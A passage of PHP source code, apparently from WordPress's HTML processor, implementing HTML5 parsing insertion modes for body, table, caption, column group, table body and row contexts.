					return true;
				}
				break;

			/*
			 * > An end tag whose tag name is "p"
			 */
			case '-P':
				if ( ! $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->insert_html_element( $this->state->current_token );
				}

				$this->close_a_p_element();
				return true;

			/*
			 * > An end tag whose tag name is "li"
			 * > An end tag whose tag name is one of: "dd", "dt"
			 */
			case '-DD':
			case '-DT':
			case '-LI':
				if (
					/*
					 * An end tag whose tag name is "li":
					 * If the stack of open elements does not have an li element in list item scope,
					 * then this is a parse error; ignore the token.
					 */
					(
						'LI' === $token_name &&
						! $this->state->stack_of_open_elements->has_element_in_list_item_scope( 'LI' )
					) ||
					/*
					 * An end tag whose tag name is one of: "dd", "dt":
					 * If the stack of open elements does not have an element in scope that is an
					 * HTML element with the same tag name as that of the token, then this is a
					 * parse error; ignore the token.
					 */
					(
						'LI' !== $token_name &&
						! $this->state->stack_of_open_elements->has_element_in_scope( $token_name )
					)
				) {
					/*
					 * This is a parse error, ignore the token.
					 *
					 * @todo Indicate a parse error once it's possible.
					 */
					return $this->step();
				}

				$this->generate_implied_end_tags( $token_name );

				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
				}

				$this->state->stack_of_open_elements->pop_until( $token_name );
				return true;

			/*
			 * > An end tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5", "h6"
			 */
			case '-H1':
			case '-H2':
			case '-H3':
			case '-H4':
			case '-H5':
			case '-H6':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( '(internal: H1 through H6 - do not use)' ) ) {
					/*
					 * This is a parse error; ignore the token.
					 *
					 * @todo Indicate a parse error once it's possible.
					 */
					return $this->step();
				}

				$this->generate_implied_end_tags();

				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Record parse error: this error doesn't impact parsing.
				}

				$this->state->stack_of_open_elements->pop_until( '(internal: H1 through H6 - do not use)' );
				return true;

			/*
			 * > A start tag whose tag name is "a"
			 */
			case '+A':
				foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
					switch ( $item->node_name ) {
						case 'marker':
							break 2;

						case 'A':
							$this->run_adoption_agency_algorithm();
							$this->state->active_formatting_elements->remove_node( $item );
							$this->state->stack_of_open_elements->remove_node( $item );
							break 2;
					}
				}

				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "b", "big", "code", "em", "font", "i",
			 * > "s", "small", "strike", "strong", "tt", "u"
			 */
			case '+B':
			case '+BIG':
			case '+CODE':
			case '+EM':
			case '+FONT':
			case '+I':
			case '+S':
			case '+SMALL':
			case '+STRIKE':
			case '+STRONG':
			case '+TT':
			case '+U':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "nobr"
			 */
			case '+NOBR':
				$this->reconstruct_active_formatting_elements();

				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'NOBR' ) ) {
					// Parse error.
					$this->run_adoption_agency_algorithm();
					$this->reconstruct_active_formatting_elements();
				}

				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->push( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is one of: "a", "b", "big", "code", "em", "font", "i",
			 * > "nobr", "s", "small", "strike", "strong", "tt", "u"
			 */
			case '-A':
			case '-B':
			case '-BIG':
			case '-CODE':
			case '-EM':
			case '-FONT':
			case '-I':
			case '-NOBR':
			case '-S':
			case '-SMALL':
			case '-STRIKE':
			case '-STRONG':
			case '-TT':
			case '-U':
				$this->run_adoption_agency_algorithm();
				return true;

			/*
			 * > A start tag whose tag name is one of: "applet", "marquee", "object"
			 */
			case '+APPLET':
			case '+MARQUEE':
			case '+OBJECT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->active_formatting_elements->insert_marker();
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A end tag token whose tag name is one of: "applet", "marquee", "object"
			 */
			case '-APPLET':
			case '-MARQUEE':
			case '-OBJECT':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $token_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// This is a parse error.
				}

				$this->state->stack_of_open_elements->pop_until( $token_name );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				return true;

			/*
			 * > A start tag whose tag name is "table"
			 */
			case '+TABLE':
				/*
				 * > If the Document is not set to quirks mode, and the stack of open elements
				 * > has a p element in button scope, then close a p element.
				 */
				if (
					WP_HTML_Tag_Processor::QUIRKS_MODE !== $this->compat_mode &&
					$this->state->stack_of_open_elements->has_p_in_button_scope()
				) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok    = false;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > An end tag whose tag name is "br"
			 *
			 * This is prevented from happening because the Tag Processor
			 * reports all closing BR tags as if they were opening tags.
			 */

			/*
			 * > A start tag whose tag name is one of: "area", "br", "embed", "img", "keygen", "wbr"
			 */
			case '+AREA':
			case '+BR':
			case '+EMBED':
			case '+IMG':
			case '+KEYGEN':
			case '+WBR':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "input"
			 */
			case '+INPUT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );

				/*
				 * > If the token does not have an attribute with the name "type", or if it does,
				 * > but that attribute's value is not an ASCII case-insensitive match for the
				 * > string "hidden", then: set the frameset-ok flag to "not ok".
				 */
				$type_attribute = $this->get_attribute( 'type' );
				if ( ! is_string( $type_attribute ) || 'hidden' !== strtolower( $type_attribute ) ) {
					$this->state->frameset_ok = false;
				}

				return true;

			/*
			 * > A start tag whose tag name is one of: "param", "source", "track"
			 */
			case '+PARAM':
			case '+SOURCE':
			case '+TRACK':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "hr"
			 */
			case '+HR':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "image"
			 */
			case '+IMAGE':
				/*
				 * > Parse error. Change the token's tag name to "img" and reprocess it. (Don't ask.)
				 *
				 * Note that this is handled elsewhere, so it should not be possible to reach this code.
				 */
				$this->bail( "Cannot process an IMAGE tag. (Don't ask.)" );
				break;

			/*
			 * > A start tag whose tag name is "textarea"
			 */
			case '+TEXTAREA':
				$this->insert_html_element( $this->state->current_token );

				/*
				 * > If the next token is a U+000A LINE FEED (LF) character token, then ignore
				 * > that token and move on to the next one. (Newlines at the start of
				 * > textarea elements are ignored as an authoring convenience.)
				 *
				 * This is handled in `get_modifiable_text()`.
				 */

				$this->state->frameset_ok = false;

				/*
				 * > Switch the insertion mode to "text".
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				return true;

			/*
			 * > A start tag whose tag name is "xmp"
			 */
			case '+XMP':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->reconstruct_active_formatting_elements();
				$this->state->frameset_ok = false;

				/*
				 * > Follow the generic raw text element parsing algorithm.
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * A start tag whose tag name is "iframe"
			 */
			case '+IFRAME':
				$this->state->frameset_ok = false;

				/*
				 * > Follow the generic raw text element parsing algorithm.
				 *
				 * As a self-contained node, this behavior is handled in the Tag Processor.
				 */
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noembed"
			 * > A start tag whose tag name is "noscript", if the scripting flag is enabled
			 *
			 * The scripting flag is never enabled in this parser.
			 */
			case '+NOEMBED':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "select"
			 */
			case '+SELECT':
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;

				switch ( $this->state->insertion_mode ) {
					/*
					 * > If the insertion mode is one of "in table", "in caption", "in table body", "in row",
					 * > or "in cell", then switch the insertion mode to "in select in table".
					 */
					case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE;
						break;

					/*
					 * > Otherwise, switch the insertion mode to "in select".
					 */
					default:
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT;
						break;
				}
				return true;

			/*
			 * > A start tag whose tag name is one of: "optgroup", "option"
			 */
			case '+OPTGROUP':
			case '+OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}
				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "rb", "rtc"
			 */
			case '+RB':
			case '+RTC':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'RUBY' ) ) {
					$this->generate_implied_end_tags();

					if ( $this->state->stack_of_open_elements->current_node_is( 'RUBY' ) ) {
						// @todo Indicate a parse error once it's possible.
					}
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "rp", "rt"
			 */
			case '+RP':
			case '+RT':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'RUBY' ) ) {
					$this->generate_implied_end_tags( 'RTC' );

					$current_node_name = $this->state->stack_of_open_elements->current_node()->node_name;
					if ( 'RTC' === $current_node_name || 'RUBY' === $current_node_name ) {
						// @todo Indicate a parse error once it's possible.
					}
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "math"
			 */
			case '+MATH':
				$this->reconstruct_active_formatting_elements();

				/*
				 * @todo Adjust MathML attributes for the token. (This fixes the case of MathML attributes that are not all lowercase.)
				 * @todo Adjust foreign attributes for the token. (This fixes the use of namespaced attributes, in particular XLink.)
				 *
				 * These ought to be handled in the attribute methods.
				 */
				$this->state->current_token->namespace = 'math';
				$this->insert_html_element( $this->state->current_token );
				if ( $this->state->current_token->has_self_closing_flag ) {
					$this->state->stack_of_open_elements->pop();
				}
				return true;

			/*
			 * > A start tag whose tag name is "svg"
			 */
			case '+SVG':
				$this->reconstruct_active_formatting_elements();

				/*
				 * @todo Adjust SVG attributes for the token. (This fixes the case of SVG attributes that are not all lowercase.)
				 * @todo Adjust foreign attributes for the token. (This fixes the use of namespaced attributes, in particular XLink in SVG.)
				 *
				 * These ought to be handled in the attribute methods.
				 */
				$this->state->current_token->namespace = 'svg';
				$this->insert_html_element( $this->state->current_token );
				if ( $this->state->current_token->has_self_closing_flag ) {
					$this->state->stack_of_open_elements->pop();
				}
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup",
			 * > "frame", "head", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+FRAME':
			case '+HEAD':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
				// Parse error. Ignore the token.
				return $this->step();
		}

		if ( ! parent::is_tag_closer() ) {
			/*
			 * > Any other start tag
			 */
			$this->reconstruct_active_formatting_elements();
			$this->insert_html_element( $this->state->current_token );
			return true;
		} else {
			/*
			 * > Any other end tag
			 */

			/*
			 * Find the corresponding tag opener in the stack of open elements, if
			 * it exists before reaching a special element, which provides a kind
			 * of boundary in the stack. For example, a `</custom-tag>` should not
			 * close anything beyond its containing `P` or `DIV` element.
			 */
			foreach ( $this->state->stack_of_open_elements->walk_up() as $node ) {
				if ( 'html' === $node->namespace && $token_name === $node->node_name ) {
					break;
				}

				if ( self::is_special( $node ) ) {
					// This is a parse error, ignore the token.
					return $this->step();
				}
			}

			$this->generate_implied_end_tags( $token_name );
			if ( $node !== $this->state->stack_of_open_elements->current_node() ) {
				// @todo Record parse error: this error doesn't impact parsing.
			}

			foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
				$this->state->stack_of_open_elements->pop();
				if ( $node === $item ) {
					return true;
				}
			}
		}

		$this->bail( 'Should not have been able to reach end of IN BODY processing. Check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/**
	 * Parses next element in the 'in table' insertion mode.
	 *
	 * This internal function performs the 'in table' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intable
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token, if the current node is table,
			 * > tbody, template, tfoot, thead, or tr element
			 */
			case '#text':
				$current_node      = $this->state->stack_of_open_elements->current_node();
				$current_node_name = $current_node ? $current_node->node_name : null;
				if (
					$current_node_name && (
						'TABLE' === $current_node_name ||
						'TBODY' === $current_node_name ||
						'TEMPLATE' === $current_node_name ||
						'TFOOT' === $current_node_name ||
						'THEAD' === $current_node_name ||
						'TR' === $current_node_name
					)
				) {
					/*
					 * If the text is empty after processing HTML entities and stripping
					 * U+0000 NULL bytes then ignore the token.
					 */
					if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
						return $this->step();
					}

					/*
					 * This follows the rules for "in table text" insertion mode.
					 *
					 * Whitespace-only text nodes are inserted in-place. Otherwise
					 * foster parenting is enabled and the nodes would be
					 * inserted out-of-place.
					 *
					 * > If any of the tokens in the pending table character tokens
					 * > list are character tokens that are not ASCII whitespace,
					 * > then this is a parse error: reprocess the character tokens
					 * > in the pending table character tokens list using the rules
					 * > given in the "anything else" entry in the "in table"
					 * > insertion mode.
					 * >
					 * > Otherwise, insert the characters given by the pending table
					 * > character tokens list.
					 *
					 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
					 */
					if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
						$this->insert_html_element( $this->state->current_token );
						return true;
					}

					// Non-whitespace would trigger fostering, unsupported at this time.
					$this->bail( 'Foster parenting is not supported.' );
					break;
				}
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "caption"
			 */
			case '+CAPTION':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->state->active_formatting_elements->insert_marker();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION;
				return true;

			/*
			 * > A start tag whose tag name is "colgroup"
			 */
			case '+COLGROUP':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return true;

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				$this->state->stack_of_open_elements->clear_to_table_context();

				/*
				 * > Insert an HTML element for a "colgroup" start tag token with no attributes,
				 * > then switch the insertion mode to "in column group".
				 */
				$this->insert_virtual_node( 'COLGROUP' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return true;

			/*
			 * > A start tag whose tag name is one of: "td", "th", "tr"
			 */
			case '+TD':
			case '+TH':
			case '+TR':
				$this->state->stack_of_open_elements->clear_to_table_context();
				/*
				 * > Insert an HTML element for a "tbody" start tag token with no attributes,
				 * > then switch the insertion mode to "in table body".
				 */
				$this->insert_virtual_node( 'TBODY' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "table"
			 *
			 * This tag in the IN TABLE insertion mode is a parse error.
			 */
			case '+TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TABLE' ) ) {
					return $this->step();
				}

				$this->state->stack_of_open_elements->pop_until( 'TABLE' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is "table"
			 */
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TABLE' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}

				$this->state->stack_of_open_elements->pop_until( 'TABLE' );
				$this->reset_insertion_mode_appropriately();
				return true;

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TBODY':
			case '-TD':
			case '-TFOOT':
			case '-TH':
			case '-THEAD':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is one of: "style", "script", "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+STYLE':
			case '+SCRIPT':
			case '+TEMPLATE':
			case '-TEMPLATE':
				/*
				 * > Process the token using the rules for the "in head" insertion mode.
				 */
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is "input"
			 *
			 * > If the token does not have an attribute with the name "type", or if it does, but
			 * > that attribute's value is not an ASCII case-insensitive match for the string
			 * > "hidden", then: act as described in the "anything else" entry below.
			 */
			case '+INPUT':
				$type_attribute = $this->get_attribute( 'type' );
				if ( ! is_string( $type_attribute ) || 'hidden' !== strtolower( $type_attribute ) ) {
					goto anything_else;
				}
				// @todo Indicate a parse error once it's possible.
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "form"
			 *
			 * This tag in the IN TABLE insertion mode is a parse error.
			 */
			case '+FORM':
				if (
					$this->state->stack_of_open_elements->has_element_in_scope( 'TEMPLATE' ) ||
					isset( $this->state->form_element )
				) {
					return $this->step();
				}

				// This FORM is special because it immediately closes and cannot have other children.
				$this->insert_html_element( $this->state->current_token );
				$this->state->form_element = $this->state->current_token;
				$this->state->stack_of_open_elements->pop();
				return true;
		}

		/*
		 * > Anything else
		 * > Parse error. Enable foster parenting, process the token using the rules for the
		 * > "in body" insertion mode, and then disable foster parenting.
		 *
		 * @todo Indicate a parse error once it's possible.
		 */
		anything_else:
		$this->bail( 'Foster parenting is not supported.' );
	}

	/**
	 * Parses next element in the 'in table text' insertion mode.
	 *
	 * This internal function performs the 'in table text' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table_text(): bool {
		$this->bail( 'No support for parsing in the ' . WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT . ' state.' );
	}

	/**
	 * Parses next element in the 'in caption' insertion mode.
	 *
	 * This internal function performs the 'in caption' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incaption
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_caption(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > An end tag whose tag name is "caption"
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "td", "tfoot", "th", "thead", "tr"
			 * > An end tag whose tag name is "table"
			 *
			 * These tag handling rules are identical except for the final instruction.
			 * Handle them in a single block.
			 */
			case '-CAPTION':
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'CAPTION' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'CAPTION' ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( 'CAPTION' );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;

				// If this is not a CAPTION end tag, the token should be reprocessed.
				if ( '-CAPTION' === $op ) {
					return true;
				}
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/**
			 * > An end tag whose tag name is one of: "body", "col", "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '-BODY':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TBODY':
			case '-TD':
			case '-TFOOT':
			case '-TH':
			case '-THEAD':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();
		}

		/**
		 * > Anything else
		 * >   Process the token using the rules for the "in body" insertion mode.
		 */
		return $this->step_in_body();
	}

	/**
	 * Parses next element in the 'in column group' insertion mode.
	 *
	 * This internal function performs the 'in column group' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incolgroup
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_column_group(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * > U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}

				goto in_column_group_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// @todo Indicate a parse error once it's possible.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				$this->insert_html_element( $this->state->current_token );
				$this->state->stack_of_open_elements->pop();
				return true;

			/*
			 * > An end tag whose tag name is "colgroup"
			 */
			case '-COLGROUP':
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'COLGROUP' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > An end tag whose tag name is "col"
			 */
			case '-COL':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+TEMPLATE':
			case '-TEMPLATE':
				return $this->step_in_head();
		}

		in_column_group_anything_else:
		/*
		 * > Anything else
		 */
		if ( ! $this->state->stack_of_open_elements->current_node_is( 'COLGROUP' ) ) {
			// @todo Indicate a parse error once it's possible.
			return $this->step();
		}
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in table body' insertion mode.
	 *
	 * This internal function performs the 'in table body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table_body(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is "tr"
			 */
			case '+TR':
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return true;

			/*
			 * > A start tag whose tag name is one of: "th", "td"
			 */
			case '+TH':
			case '+TD':
				// @todo Indicate a parse error once it's possible.
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->insert_virtual_node( 'TR' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "tfoot", "thead"
			 * > An end tag whose tag name is "table"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '-TABLE':
				if (
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TBODY' ) &&
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'THEAD' ) &&
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TFOOT' )
				) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "td", "th", "tr"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TD':
			case '-TH':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();
		}

		/*
		 * > Anything else
		 * > Process the token using the rules for the "in table" insertion mode.
		 */
		return $this->step_in_table();
	}

	/**
	 * Parses next element in the 'in row' insertion mode.
	 *
	 * This internal function performs the 'in row' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intr
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_row(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is one of: "th", "td"
			 */
			case '+TH':
			case '+TD':
				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CELL;
				$this->state->active_formatting_elements->insert_marker();
				return true;

			/*
			 * > An end tag whose tag name is "tr"
			 */
			case '-TR':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
